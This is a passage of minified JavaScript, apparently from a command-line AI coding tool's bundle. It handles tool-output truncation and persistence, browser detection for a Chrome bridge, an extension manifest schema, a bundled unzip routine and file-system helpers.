A.type==="text"}function TJ7(A){return A.type==="image"}function gW6(A){if(!A)return 0;if(typeof A==="string")return d2(A);return A.reduce((K,q)=>{if(NJ7(q))return K+d2(q.text);else if(TJ7(q))return K+fJ7;return K},0)}function lDY(){return zX1()*4}function iDY(){return` [OUTPUT TRUNCATED - exceeded ${zX1()} token limit] The tool output was truncated. If this MCP server provides pagination or filtering tools, use them to retrieve specific portions of the data. If pagination is not available, inform the user that you are working with truncated output and results may be incomplete.`}function nDY(A,K){if(A.length<=K)return A;return A.slice(0,K)}async function rDY(A,K){let q=[],Y=0;for(let z of A)if(NJ7(z)){let w=K-Y;if(w<=0)break;if(z.text.length<=w)q.push(z),Y+=z.text.length;else{q.push({type:"text",text:z.text.slice(0,w)});break}}else if(TJ7(z)){let w=fJ7*4;if(Y+w<=K)q.push(z),Y+=w;else{let H=K-Y;if(H>0){let J=Math.floor(H*0.75);try{let O=await Xu4(z,J);if(q.push(O),O.source.type==="base64")Y+=O.source.data.length;else Y+=w}catch{}}}}else q.push(z);return q}async function puA(A){if(!A)return!1;if(gW6(A)<=zX1()*cDY)return!1;try{let Y=await IxA(typeof A==="string"?[{role:"user",content:A}]:[{role:"user",content:A}],[]);return!!(Y&&Y>zX1())}catch(q){return KA(q instanceof Error?q:Error(String(q))),!1}}async function oDY(A){if(!A)return A;let K=lDY(),q=iDY();if(typeof A==="string")return nDY(A,K)+q;else{let Y=await rDY(A,K);return Y.push({type:"text",text:q}),Y}}async function FW6(A){if(!await puA(A))return A;return await oDY(A)}var cDY=0.5,fJ7=1600;var wX1=k(()=>{dT();C1();Au()});function HX1(A,K){switch(A){case"toolResult":return"Plain text";case"structuredContent":return K?`JSON with schema: ${K}`:"JSON";case"contentArray":return K?`JSON array with schema: ${K}`:"JSON array"}}function JX1(A,K,q,Y){let z=`Error: result (${K.toLocaleString()} characters) exceeds maximum allowed tokens. Output has been saved to ${A}. Format: ${q} Use offset and limit parameters to read specific portions of the file, the ${Fz} tool to search for specific content, and jq to make structured queries. REQUIREMENTS FOR SUMMARIZATION/ANALYSIS/REVIEW: - You MUST read the content from the file at ${A} in sequential chunks until 100% of the content has been read. `,w=Y?`- If you receive truncation warnings when reading the file ("[N lines truncated]"), reduce the chunk size until you have read 100% of the content without truncation ***DO NOT PROCEED UNTIL YOU HAVE DONE THIS***. Bash output is limited to ${Y.toLocaleString()} chars. `:`- If you receive truncation warnings when reading the file, reduce the chunk size until you have read 100% of the content without truncation. `,H=`- Before producing ANY summary or analysis, you MUST explicitly describe what portion of the content you have read. ***If you did not read the entire content, you MUST explicitly state this.*** `;return z+w+`- Before producing ANY summary or analysis, you MUST explicitly describe what portion of the content you have read. ***If you did not read the entire content, you MUST explicitly state this.*** `}var QW6=k(()=>{rE()});var UW6=4,duA=400000,CI=50;import{join as pW6}from"path";import{mkdir as aDY,writeFile as sDY,stat as tDY}from"fs/promises";function eDY(){return pW6(yJ(V8()),d1())}function XX1(){return pW6(eDY(),dW6)}async function AjY(){try{await aDY(XX1(),{recursive:!0})}catch{}}async function jqA(A,K){let q=Array.isArray(A);if(q){if(A.some(($)=>$.type!=="text"))return{error:"Cannot persist tool results containing non-text content"}}await AjY();let Y=q?"json":"txt",z=pW6(XX1(),`${K}.${Y}`),w=q?UA(A,null,2):A,H=!1;try{await tDY(z),H=!0}catch{}if(!H){try{await sDY(z,w,"utf-8")}catch(X){let $=X instanceof Error?X:Error(String(X));return KA($),{error:zjY($)}}h(`Persisted tool result to ${z} (${c0(w.length)})`)}let{preview:J,hasMore:O}=YjY(w,vJ7);return{filepath:z,originalSize:w.length,isJson:q,preview:J,hasMore:O}}function KjY(A){let K=`${OX1} `;return K+=`Output too large (${c0(A.originalSize)}). Full output saved to: ${A.filepath} `,K+=`Preview (first ${c0(vJ7)}): `,K+=A.preview,K+=A.hasMore?` ... `:` `,K+=cW6,K}async function $X1(A,K,q){let Y=A.mapToolResultToToolResultBlockParam(K,q);return qjY(Y,A.name,A.maxResultSizeChars)}async function qjY(A,K,q){let Y=A.content;if(!Y)return A;if(Array.isArray(Y)){if(Y.some((X)=>typeof X==="object"&&("type"in X)&&X.type==="image"))return A}if((typeof Y==="string"?Y.length:UA(Y).length)<=(q??duA))return A;let H=await jqA(Y,A.tool_use_id);if(MqA(H))return A;let J=KjY(H);return n("tengu_tool_result_persisted",{toolName:jK(K),originalSizeBytes:H.originalSize,persistedSizeBytes:J.length,estimatedOriginalTokens:Math.ceil(H.originalSize/UW6),estimatedPersistedTokens:Math.ceil(J.length/UW6)}),{...A,content:J}}function YjY(A,K){if(A.length<=K)return{preview:A,hasMore:!1};let Y=A.slice(0,K).lastIndexOf(` `),z=Y>K*0.5?Y:K;return{preview:A.slice(0,z),hasMore:!0}}function MqA(A){return"error"in A}function zjY(A){let K=A;if(K.code)switch(K.code){case"ENOENT":return`Directory not found: ${K.path??"unknown path"}`;case"EACCES":return`Permission denied: ${K.path??"unknown path"}`;case"ENOSPC":return"No space left on device";case"EROFS":return"Read-only file system";case"EMFILE":return"Too many open files";case"EEXIST":return`File already exists: ${K.path??"unknown path"}`;default:return`${K.code}: ${K.message}`}return A.message}var dW6="tool-results",OX1="<persisted-output>",cW6="</persisted-output>",lW6="[Old tool result content cleared]",vJ7=2000;var Pa=k(()=>{Z1();C1();YK();l1();sO();q6();UK();b1()});function DZA(A){let K=[];return{expanded:A.replace(/\$\{([^}]+)\}/g,(Y,z)=>{let[w,H]=z.split(":-",2),J=process.env[w];if(J!==void 0)return J;if(H!==void 0)return H;return K.push(w),Y}),missingVars:K}}import{platform as wjY,tmpdir as HjY,userInfo as JjY,homedir as iW6}from"os";import{join as hC}from"path";import{access as EJ7}from"fs/promises";import{readdirSync as OjY}from"fs";function kJ7(){let A=o6(),K=iW6(),q=[];for(let Y of _X1){let z=cuA[Y],w;switch(A){case"macos":w=z.macos.dataPath;break;case"linux":case"wsl":w=z.linux.dataPath;break;case"windows":{if(z.windows.dataPath.length>0){let H=z.windows.useRoaming?hC(K,"AppData","Roaming"):hC(K,"AppData","Local");q.push({browser:Y,path:hC(H,...z.windows.dataPath)})}continue}}if(w&&w.length>0)q.push({browser:Y,path:hC(K,...w)})}return q}function CJ7(){let A=o6(),K=iW6(),q=[];for(let Y of _X1){let z=cuA[Y];switch(A){case"macos":if(z.macos.nativeMessagingPath.length>0)q.push({browser:Y,path:hC(K,...z.macos.nativeMessagingPath)});break;case"linux":case"wsl":if(z.linux.nativeMessagingPath.length>0)q.push({browser:Y,path:hC(K,...z.linux.nativeMessagingPath)});break;case"windows":break}}return q}function LJ7(){let A=[];for(let K of _X1){let q=cuA[K];if(q.windows.registryKey)A.push({browser:K,key:q.windows.registryKey})}return A}async function XjY(){let A=o6();for(let K of _X1){let q=cuA[K];switch(A){case"macos":{let Y=`/Applications/${q.macos.appName}.app`;try{return await EJ7(Y),h(`[Claude in Chrome] Detected browser: ${q.name}`),K}catch{}break}case"linux":{for(let Y of q.linux.binaries)if(await AV(Y).catch(()=>null))return h(`[Claude in Chrome] Detected browser: ${q.name}`),K;break}case"windows":{let Y=iW6();if(q.windows.dataPath.length>0){let z=q.windows.useRoaming?hC(Y,"AppData","Roaming"):hC(Y,"AppData","Local"),w=hC(z,...q.windows.dataPath);try{return await EJ7(w),h(`[Claude in Chrome] Detected browser: ${q.name}`),K}catch{}}break}}}return null}function jZA(A){return w3(A)===cu}function RJ7(A){$jY.add(A)}async function GX1(A){let K=o6(),q=await XjY();if(!q)return h("[Claude in Chrome] No compatible browser found"),!1;let Y=cuA[q];switch(K){case"macos":{let{code:z}=await R6("open",["-a",Y.macos.appName,A]);return z===0}case"windows":{let{code:z}=await R6("rundll32",["url,OpenURL",A]);return z===0}case"linux":{for(let z of Y.linux.binaries){let{code:w}=await R6(z,[A]);if(w===0)return!0}return!1}default:return!1}}function luA(){return`/tmp/claude-mcp-browser-bridge-${nW6()}`}function ZX1(){if(wjY()==="win32")return`\\\\.\\pipe\\${_jY()}`;return hC(luA(),`${process.pid}.sock`)}function yJ7(){let A=[],K=luA();try{let w=OjY(K);for(let H of w)if(H.endsWith(".sock"))A.push(hC(K,H))}catch{}let q=`claude-mcp-browser-bridge-${nW6()}`,Y=hC(HjY(),q),z=`/tmp/${q}`;if(!A.includes(Y))A.push(Y);if(Y!==z&&!A.includes(z))A.push(z);return A}function _jY(){return`claude-mcp-browser-bridge-${nW6()}`}function nW6(){try{return JjY().username||"default"}catch{return process.env.USER||process.env.USERNAME||"default"}}var cu="claude-in-chrome",cuA,_X1,$jY;var lu=k(()=>{B5();CK();Z1();Ki();cuA={chrome:{name:"Google Chrome",macos:{appName:"Google Chrome",dataPath:["Library","Application Support","Google","Chrome"],nativeMessagingPath:["Library","Application Support","Google","Chrome","NativeMessagingHosts"]},linux:{binaries:["google-chrome","google-chrome-stable"],dataPath:[".config","google-chrome"],nativeMessagingPath:[".config","google-chrome","NativeMessagingHosts"]},windows:{dataPath:["Google","Chrome","User Data"],registryKey:"HKCU\\Software\\Google\\Chrome\\NativeMessagingHosts"}},brave:{name:"Brave",macos:{appName:"Brave Browser",dataPath:["Library","Application Support","BraveSoftware","Brave-Browser"],nativeMessagingPath:["Library","Application Support","BraveSoftware","Brave-Browser","NativeMessagingHosts"]},linux:{binaries:["brave-browser","brave"],dataPath:[".config","BraveSoftware","Brave-Browser"],nativeMessagingPath:[".config","BraveSoftware","Brave-Browser","NativeMessagingHosts"]},windows:{dataPath:["BraveSoftware","Brave-Browser","User Data"],registryKey:"HKCU\\Software\\BraveSoftware\\Brave-Browser\\NativeMessagingHosts"}},arc:{name:"Arc",macos:{appName:"Arc",dataPath:["Library","Application Support","Arc","User Data"],nativeMessagingPath:["Library","Application Support","Arc","User Data","NativeMessagingHosts"]},linux:{binaries:[],dataPath:[],nativeMessagingPath:[]},windows:{dataPath:["Arc","User Data"],registryKey:"HKCU\\Software\\ArcBrowser\\Arc\\NativeMessagingHosts"}},chromium:{name:"Chromium",macos:{appName:"Chromium",dataPath:["Library","Application Support","Chromium"],nativeMessagingPath:["Library","Application Support","Chromium","NativeMessagingHosts"]},linux:{binaries:["chromium","chromium-browser"],dataPath:[".config","chromium"],nativeMessagingPath:[".config","chromium","NativeMessagingHosts"]},windows:{dataPath:["Chromium","User Data"],registryKey:"HKCU\\Software\\Chromium\\NativeMessagingHosts"}},edge:{name:"Microsoft Edge",macos:{appName:"Microsoft Edge",dataPath:["Library","Application Support","Microsoft Edge"],nativeMessagingPath:["Library","Application Support","Microsoft Edge","NativeMessagingHosts"]},linux:{binaries:["microsoft-edge","microsoft-edge-stable"],dataPath:[".config","microsoft-edge"],nativeMessagingPath:[".config","microsoft-edge","NativeMessagingHosts"]},windows:{dataPath:["Microsoft","Edge","User Data"],registryKey:"HKCU\\Software\\Microsoft\\Edge\\NativeMessagingHosts"}},vivaldi:{name:"Vivaldi",macos:{appName:"Vivaldi",dataPath:["Library","Application Support","Vivaldi"],nativeMessagingPath:["Library","Application Support","Vivaldi","NativeMessagingHosts"]},linux:{binaries:["vivaldi","vivaldi-stable"],dataPath:[".config","vivaldi"],nativeMessagingPath:[".config","vivaldi","NativeMessagingHosts"]},windows:{dataPath:["Vivaldi","User Data"],registryKey:"HKCU\\Software\\Vivaldi\\NativeMessagingHosts"}},opera:{name:"Opera",macos:{appName:"Opera",dataPath:["Library","Application Support","com.operasoftware.Opera"],nativeMessagingPath:["Library","Application Support","com.operasoftware.Opera","NativeMessagingHosts"]},linux:{binaries:["opera"],dataPath:[".config","opera"],nativeMessagingPath:[".config","opera","NativeMessagingHosts"]},windows:{dataPath:["Opera Software","Opera Stable"],registryKey:"HKCU\\Software\\Opera Software\\Opera Stable\\NativeMessagingHosts",useRoaming:!0}}},_X1=["chrome","brave","arc","edge","chromium","vivaldi","opera"];$jY=new Set});var IJ7,GjY,ZjY,WjY,DjY,jjY,MjY,PjY,VjY,fjY,u6H,WX1,B6H;var iuA=k(()=>{akA();IJ7=qT({command:m8(),args:dO(m8()).optional(),env:sR(m8(),m8()).optional()}),GjY=qT({name:m8(),email:m8().email().optional(),url:m8().url().optional()}),ZjY=qT({type:m8(),url:m8().url()}),WjY=IJ7.partial(),DjY=IJ7.extend({platform_overrides:sR(m8(),WjY).optional()}),jjY=qT({type:tR(["python","node","binary"]),entry_point:m8(),mcp_config:DjY}),MjY=qT({claude_desktop:m8().optional(),platforms:dO(tR(["darwin","win32","linux"])).optional(),runtimes:qT({python:m8().optional(),node:m8().optional()}).optional()}).passthrough(),PjY=qT({name:m8(),description:m8().optional()}),VjY=qT({name:m8(),description:m8().optional(),arguments:dO(m8()).optional(),text:m8()}),fjY=qT({type:tR(["string","number","boolean","directory","file"]),title:m8(),description:m8(),required:o_().optional(),default:U6A([m8(),nE(),o_(),dO(m8())]).optional(),multiple:o_().optional(),sensitive:o_().optional(),min:nE().optional(),max:nE().optional()}),u6H=sR(m8(),U6A([m8(),nE(),o_(),dO(m8())])),WX1=qT({$schema:m8().optional(),dxt_version:m8().optional().describe("@deprecated Use manifest_version instead"),manifest_version:m8().optional(),name:m8(),display_name:m8().optional(),version:m8(),description:m8(),long_description:m8().optional(),author:GjY,repository:ZjY.optional(),homepage:m8().url().optional(),documentation:m8().url().optional(),support:m8().url().optional(),icon:m8().optional(),screenshots:dO(m8()).optional(),server:jjY,tools:dO(PjY).optional(),tools_generated:o_().optional(),prompts:dO(VjY).optional(),prompts_generated:o_().optional(),keywords:dO(m8()).optional(),license:m8().optional(),privacy_policies:dO(m8()).optional(),compatibility:MjY.optional(),user_config:sR(m8(),fjY).optional()}).refine((A)=>!!(A.dxt_version||A.manifest_version),{message:"Either 'dxt_version' (deprecated) or 'manifest_version' must be provided"}),B6H=qT({status:tR(["signed","unsigned","self-signed"]),publisher:m8().optional(),issuer:m8().optional(),valid_from:m8().optional(),valid_to:m8().optional(),fingerprint:m8().optional()})});var rW6=k(()=>{iuA()});import{createRequire as TjY}from"module";function ujY(A,K){return bjY(A,{i:2},K&&K.out,K&&K.dictionary)}function gjY(A,K){if(K){var q="";for(var Y=0;Y<A.length;Y+=16384)q+=String.fromCharCode.apply(null,A.subarray(Y,Y+16384));return q}else if(eW6)return eW6.decode(A);else{var z=mjY(A),w=z.s,q=z.r;if(q.length)bC(8);return w}}function gJ7(A,K){var q={},Y=A.length-22;for(;RI(A,Y)!=101010256;--Y)if(!Y||A.length-Y>65558)bC(13);var z=nu(A,Y+8);if(!z)return{};var w=RI(A,Y+16),H=w==4294967295||z==65535;if(H){var J=RI(A,Y-12);if(H=RI(A,J)==101075792,H)z=RI(A,J+32),w=RI(A,J+48)}var O=K&&K.filter;for(var X=0;X<z;++X){var $=QjY(A,w,H),_=$[0],G=$[1],Z=$[2],W=$[3],D=$[4],j=$[5],M=FjY(A,j);if(w=D,!O||O({name:W,size:G,originalSize:Z,compression:_}))if(!_)q[W]=AD6(A,M,M+G);else if(_==8)q[W]=ujY(A.subarray(M,M+G),{out:new nT(Z)});else bC(14,"unknown compression type "+_)}return q}var vjY,EjY,nT,MZA,kjY,SJ7,hJ7,CjY,bJ7=function(A,K){var q=new MZA(31);for(var Y=0;Y<31;++Y)q[Y]=K+=1<<A[Y-1];var z=new kjY(q[30]);for(var Y=1;Y<30;++Y)for(var w=q[Y];w<q[Y+1];++w)z[w]=w-q[Y]<<5|Y;return{b:q,r:z}},xJ7,uJ7,LjY,BJ7,RjY,U6H,tW6,iu,m9,nuA=function(A,K,q){var Y=A.length,z=0,w=new MZA(K);for(;z<Y;++z)if(A[z])++w[A[z]-1];var H=new MZA(K);for(z=1;z<K;++z)H[z]=H[z-1]+w[z-1]<<1;var J;if(q){J=new MZA(1<<K);var O=15-K;for(z=0;z<Y;++z)if(A[z]){var X=z<<4|A[z],$=K-A[z],_=H[A[z]-1]++<<$;for(var G=_|(1<<$)-1;_<=G;++_)J[tW6[_]>>O]=X}}else{J=new MZA(Y);for(z=0;z<Y;++z)if(A[z])J[z]=tW6[H[A[z]-1]++]>>15-A[z]}return J},ruA,m9,m9,m9,m9,mJ7,m9,yjY,IjY,oW6=function(A){var K=A[0];for(var q=1;q<A.length;++q)if(A[q]>K)K=A[q];return K},LI=function(A,K,q){var Y=K/8|0;return(A[Y]|A[Y+1]<<8)>>(K&7)&q},aW6=function(A,K){var q=K/8|0;return(A[q]|A[q+1]<<8|A[q+2]<<16)>>(K&7)},SjY=function(A){return(A+7)/8|0},AD6=function(A,K,q){if(K==null||K<0)K=0;if(q==null||q>A.length)q=A.length;return new nT(A.subarray(K,q))},hjY,bC=function(A,K,q){var Y=Error(K||hjY[A]);if(Y.code=A,Error.captureStackTrace)Error.captureStackTrace(Y,bC);if(!q)throw Y;return Y},bjY=function(A,K,q,Y){var z=A.length,w=Y?Y.length:0;if(!z||K.f&&!K.l)return q||new nT(0);var H=!q,J=H||K.i!=2,O=K.i;if(H)q=new nT(z*3);var X=function(GA){var OA=q.length;if(GA>OA){var t=new nT(Math.max(OA*2,GA));t.set(q),q=t}},$=K.f||0,_=K.p||0,G=K.b||0,Z=K.l,W=K.d,D=K.m,j=K.n,M=z*8;do{if(!Z){$=LI(A,_,1);var P=LI(A,_+1,3);if(_+=3,!P){var f=SjY(_)+4,N=A[f-4]|A[f-3]<<8,T=f+N;if(T>z){if(O)bC(0);break}if(J)X(G+N);q.set(A.subarray(f,T),G),K.b=G+=N,K.p=_=T*8,K.f=$;continue}else if(P==1)Z=yjY,W=IjY,D=9,j=5;else if(P==2){var C=LI(A,_,31)+257,R=LI(A,_+10,15)+4,x=C+LI(A,_+5,31)+1;_+=14;var y=new nT(x),B=new nT(19);for(var b=0;b<R;++b)B[CjY[b]]=LI(A,_+b*3,7);_+=R*3;var F=oW6(B),Q=(1<<F)-1,u=nuA(B,F,1);for(var b=0;b<x;){var d=u[LI(A,_,Q)];_+=d&15;var f=d>>4;if(f<16)y[b++]=f;else{var r=0,c=0;if(f==16)c=3+LI(A,_,3),_+=2,r=y[b-1];else if(f==17)c=3+LI(A,_,7),_+=3;else if(f==18)c=11+LI(A,_,127),_+=7;while(c--)y[b++]=r}}var YA=y.subarray(0,C),e=y.subarray(C);D=oW6(YA),j=oW6(e),Z=nuA(YA,D,1),W=nuA(e,j,1)}else bC(1);if(_>M){if(O)bC(0);break}}if(J)X(G+131072);var qA=(1<<D)-1,HA=(1<<j)-1,_A=_;for(;;_A=_){var r=Z[aW6(A,_)&qA],a=r>>4;if(_+=r&15,_>M){if(O)bC(0);break}if(!r)bC(2);if(a<256)q[G++]=a;else if(a==256){_A=_,Z=null;break}else{var JA=a-254;if(a>264){var b=a-257,jA=SJ7[b];JA=LI(A,_,(1<<jA)-1)+uJ7[b],_+=jA}var MA=W[aW6(A,_)&HA],hA=MA>>4;if(!MA)bC(3);_+=MA&15;var e=RjY[hA];if(hA>3){var jA=hJ7[hA];e+=aW6(A,_)&(1<<jA)-1,_+=jA}if(_>M){if(O)bC(0);break}if(J)X(G+131072);var yA=G+JA;if(G<e){var AA=w-e,wA=Math.min(e,yA);if(AA+G<0)bC(3);for(;G<wA;++G)q[G]=Y[AA+G]}for(;G<yA;++G)q[G]=q[G-e]}}if(K.l=Z,K.p=_A,K.b=G,K.f=$,Z)$=1,K.m=D,K.d=W,K.n=j}while(!$);return G!=q.length&&H?AD6(q,0,G):q.subarray(0,G)},xjY,nu=function(A,K){return A[K]|A[K+1]<<8},RI=function(A,K){return(A[K]|A[K+1]<<8|A[K+2]<<16|A[K+3]<<24)>>>0},sW6=function(A,K){return RI(A,K)+RI(A,K+4)*4294967296},eW6,BjY=0,mjY=function(A){for(var K="",q=0;;){var Y=A[q++],z=(Y>127)+(Y>223)+(Y>239);if(q+z>A.length)return{s:K,r:AD6(A,q-1)};if(!z)K+=String.fromCharCode(Y);else if(z==3)Y=((Y&15)<<18|(A[q++]&63)<<12|(A[q++]&63)<<6|A[q++]&63)-65536,K+=String.fromCharCode(55296|Y>>10,56320|Y&1023);else if(z&1)K+=String.fromCharCode((Y&31)<<6|A[q++]&63);else K+=String.fromCharCode((Y&15)<<12|(A[q++]&63)<<6|A[q++]&63)}},FjY=function(A,K){return K+30+nu(A,K+26)+nu(A,K+28)},QjY=function(A,K,q){var Y=nu(A,K+28),z=gjY(A.subarray(K+46,K+46+Y),!(nu(A,K+8)&2048)),w=K+46+Y,H=RI(A,K+20),J=q&&H==4294967295?UjY(A,w):[H,RI(A,K+24),RI(A,K+42)],O=J[0],X=J[1],$=J[2];return[nu(A,K+10),O,X,z,w+nu(A,K+30)+nu(A,K+32),$]},UjY=function(A,K){for(;nu(A,K)!=1;K+=4+nu(A,K+2));return[sW6(A,K+12),sW6(A,K+4),sW6(A,K+20)]};var FJ7=k(()=>{vjY=TjY("/");try{EjY=vjY("worker_threads").Worker}catch(A){}nT=Uint8Array,MZA=Uint16Array,kjY=Int32Array,SJ7=new nT([0,0,0,0,0,0,0,0,1,1,1,1,2,2,2,2,3,3,3,3,4,4,4,4,5,5,5,5,0,0,0,0]),hJ7=new nT([0,0,0,0,1,1,2,2,3,3,4,4,5,5,6,6,7,7,8,8,9,9,10,10,11,11,12,12,13,13,0,0]),CjY=new nT([16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15]),xJ7=bJ7(SJ7,2),uJ7=xJ7.b,LjY=xJ7.r;uJ7[28]=258,LjY[258]=28;BJ7=bJ7(hJ7,0),RjY=BJ7.b,U6H=BJ7.r,tW6=new MZA(32768);for(m9=0;m9<32768;++m9)iu=(m9&43690)>>1|(m9&21845)<<1,iu=(iu&52428)>>2|(iu&13107)<<2,iu=(iu&61680)>>4|(iu&3855)<<4,tW6[m9]=((iu&65280)>>8|(iu&255)<<8)>>1;ruA=new nT(288);for(m9=0;m9<144;++m9)ruA[m9]=8;for(m9=144;m9<256;++m9)ruA[m9]=9;for(m9=256;m9<280;++m9)ruA[m9]=7;for(m9=280;m9<288;++m9)ruA[m9]=8;mJ7=new nT(32);for(m9=0;m9<32;++m9)mJ7[m9]=5;yjY=nuA(ruA,9,1),IjY=nuA(mJ7,5,1),hjY=["unexpected EOF","invalid block type","invalid length/literal","invalid distance","stream finished","no stream handler",,"no callback","invalid UTF-8 data","extra field too long","date not in range 1980-2099","filename too long","stream finishing","invalid zip data"],xjY=new nT(0);eW6=typeof TextDecoder<"u"&&new TextDecoder;try{eW6.decode(xjY,{stream:!0}),BjY=1}catch(A){}});var pjY;var KD6=k(()=>{pjY=o(CSA(),1)});var HH=v((djY)=>{djY.fromCallback=function(A){return Object.defineProperty(function(...K){if(typeof K[K.length-1]==="function")A.apply(this,K);else return new Promise((q,Y)=>{K.push((z,w)=>z!=null?Y(z):q(w)),A.apply(this,K)})},"name",{value:A.name})};djY.fromPromise=function(A){return Object.defineProperty(function(...K){let q=K[K.length-1];if(typeof q!=="function")return A.apply(this,K);else K.pop(),A.apply(this,K).then((Y)=>q(null,Y),q)},"name",{value:A.name})}});var PqA=v((qD6)=>{var QJ7=HH().fromCallback,Zf=I2(),ijY=["access","appendFile","chmod","chown","close","copyFile","fchmod","fchown","fdatasync","fstat","fsync","ftruncate","futimes","lchmod","lchown","link","lstat","mkdir","mkdtemp","open","opendir","readdir","readFile","readlink","realpath","rename","rm","rmdir","stat","symlink","truncate","unlink","utimes","writeFile"].filter((A)=>{return typeof Zf[A]==="function"});Object.assign(qD6,Zf);ijY.forEach((A)=>{qD6[A]=QJ7(Zf[A])});qD6.exists=function(A,K){if(typeof K==="function")return Zf.exists(A,K);return new Promise((q)=>{return Zf.exists(A,q)})};qD6.read=function(A,K,q,Y,z,w){if(typeof w==="function")return Zf.read(A,K,q,Y,z,w);return new Promise((H,J)=>{Zf.read(A,K,q,Y,z,(O,X,$)=>{if(O)return J(O);H({bytesRead:X,buffer:$})})})};qD6.write=function(A,K,...q){if(typeof q[q.length-1]==="function")return Zf.write(A,K,...q);return new Promise((Y,z)=>{Zf.write(A,K,...q,(w,H,J)=>{if(w)return z(w);Y({bytesWritten:H,buffer:J})})})};if(typeof Zf.writev==="function")qD6.writev=function(A,K,...q){if(typeof q[q.length-1]==="function")return Zf.writev(A,K,...q);return new Promise((Y,z)=>{Zf.writev(A,K,...q,(w,H,J)=>{if(w)return z(w);Y({bytesWritten:H,buffers:J})})})};if(typeof Zf.realpath.native==="function")qD6.realpath.native=QJ7(Zf.realpath.native);else process.emitWarning("fs.realpath.native is not a function. Is fs being monkey-patched?","Warning","fs-extra-WARN0003")});var pJ7=v((sjY,UJ7)=>{var ajY=CA("path");sjY.checkPath=function(K){if(process.platform==="win32"){if(/[<>:"|?*]/.test(K.replace(ajY.parse(K).root,""))){let Y=Error(`Path contains invalid characters: ${K}`);throw Y.code="EINVAL",Y}}}});var iJ7=v((ejY,YD6)=>{var dJ7=PqA(),{checkPath:cJ7}=pJ7(),lJ7=(A)=>{let K={mode:511};if(typeof A==="number")return A;return{...K,...A}.mode};ejY.makeDir=async(A,K)=>{return cJ7(A),dJ7.mkdir(A,{mode:lJ7(K),recursive:!0})};ejY.makeDirSync=(A,K)=>{return cJ7(A),dJ7.mkdirSync(A,{mode:lJ7(K),recursive:!0})}});var yI=v((r6H,nJ7)=>{var qMY=HH().fromPromise,{makeDir:YMY,makeDirSync:zD6}=iJ7(),wD6=qMY(YMY);nJ7.exports={mkdirs:wD6,mkdirsSync:zD6,mkdirp:wD6,mkdirpSync:zD6,ensureDir:wD6,ensureDirSync:zD6}});var Va=v((o6H,oJ7)=>{var zMY=HH().fromPromise,rJ7=PqA();function wMY(A){return rJ7.access(A).then(()=>!0).catch(()=>!1)}oJ7.exports={pathExists:zMY(wMY),pathExistsSync:rJ7.existsSync}});var HD6=v((a6H,aJ7)=>{var PZA=I2();function HMY(A,K,q,Y){PZA.open(A,"r+",(z,w)=>{if(z)return Y(z);PZA.futimes(w,K,q,(H)=>{PZA.close(w,(J)=>{if(Y)Y(H||J)})})})}function JMY(A,K,q){let Y=PZA.openSync(A,"r+");return PZA.futimesSync(Y,K,q),PZA.closeSync(Y)}aJ7.exports={utimesMillis:HMY,utimesMillisSync:JMY}});var VqA=v((s6H,eJ7)=>{var VZA=PqA(),EG=CA("path"),OMY=CA("util");function XMY(A,K,q){let Y=q.dereference?(z)=>VZA.stat(z,{bigint:!0}):(z)=>VZA.lstat(z,{bigint:!0});return Promise.all([Y(A),Y(K).catch((z)=>{if(z.code==="ENOENT")return null;throw z})]).then(([z,w])=>({srcStat:z,destStat:w}))}function $MY(A,K,q){let Y,z=q.dereference?(H)=>VZA.statSync(H,{bigint:!0}):(H)=>VZA.lstatSync(H,{bigint:!0}),w=z(A);try{Y=z(K)}catch(H){if(H.code==="ENOENT")return{srcStat:w,destStat:null};throw H}return{srcStat:w,destStat:Y}}function _MY(A,K,q,Y,z){OMY.callbackify(XMY)(A,K,Y,(w,H)=>{if(w)return z(w);let{srcStat:J,destStat:O}=H;if(O){if(ouA(J,O)){let X=EG.basename(A),$=EG.basename(K);if(q==="move"&&X!==$&&X.toLowerCase()===$.toLowerCase())return z(null,{srcStat:J,destStat:O,isChangingCase:!0});return z(Error("Source and destination must not be the same."))}if(J.isDirectory()&&!O.isDirectory())return z(Error(`Cannot overwrite non-directory '${K}' with directory '${A}'.`));if(!J.isDirectory()&&O.isDirectory())return z(Error(`Cannot overwrite directory '${K}' with non-directory '${A}'.`))}if(J.isDirectory()&&JD6(A,K))return z(Error(DX1(A,K,q)));return z(null,{srcStat:J,destStat:O})})}function GMY(A,K,q,Y){let{srcStat:z,destStat:w}=$MY(A,K,Y);if(w){if(ouA(z,w)){let H=EG.basename(A),J=EG.basename(K);if(q==="move"&&H!==J&&H.toLowerCase()===J.toLowerCase())return{srcStat:z,destStat:w,isChangingCase:!0};throw Error("Source and destination must not be the same.")}if(z.isDirectory()&&!w.isDirectory())throw Error(`Cannot overwrite non-directory '${K}' with directory '${A}'.`);if(!z.isDirectory()&&w.isDirectory())throw Error(`Cannot overwrite directory '${K}' with non-directory '${A}'.`)}if(z.isDirectory()&&JD6(A,K))throw Error(DX1(A,K,q));return{srcStat:z,destStat:w}}function sJ7(A,K,q,Y,z){let w=EG.resolve(EG.dirname(A)),H=EG.resolve(EG.dirname(q));if(H===w||H===EG.parse(H).root)return z();VZA.stat(H,{bigint:!0},(J,O)=>{if(J){if(J.code==="ENOENT")return z();return z(J)}if(ouA(K,O))return z(Error(DX1(A,q,Y)));return sJ7(A,K,H,Y,z)})}function tJ7(A,K,q,Y){let z=EG.resolve(EG.dirname(A)),w=EG.resolve(EG.dirname(q));if(w===z||w===EG.parse(w).root)return;let H;try{H=VZA.statSync(w,{bigint:!0})}catch(J){if(J.code==="ENOENT")return;throw J}if(ouA(K,H))throw Error(DX1(A,q,Y));return tJ7(A,K,w,Y)}function ouA(A,K){return K.ino&&K.dev&&K.ino===A.ino&&K.dev===A.dev}function JD6(A,K){let q=EG.resolve(A).split(EG.sep).filter((z)=>z),Y=EG.resolve(K).split(EG.sep).filter((z)=>z);return q.reduce((z,w,H)=>z&&Y[H]===w,!0)}function DX1(A,K,q){return`Cannot ${q} '${A}' to a subdirectory of itself, '${K}'.`}eJ7.exports={checkPaths:_MY,checkPathsSync:GMY,checkParentPaths:sJ7,checkParentPathsSync:tJ7,isSrcSubdir:JD6,areIdentical:ouA}});var JO7=v((t6H,HO7)=>{var Wf=I2(),auA=CA("path"),ZMY=yI().mkdirs,WMY=Va().pathExists,DMY=HD6().utimesMillis,suA=VqA();function jMY(A,K,q,Y){if(typeof q==="function"&&!Y)Y=q,q={};else if(typeof q==="function")q={filter:q};if(Y=Y||function(){},q=q||{},q.clobber="clobber"in q?!!q.clobber:!0,q.overwrite="overwrite"in q?!!q.overwrite:q.clobber,q.preserveTimestamps&&process.arch==="ia32")process.emitWarning(`Using the 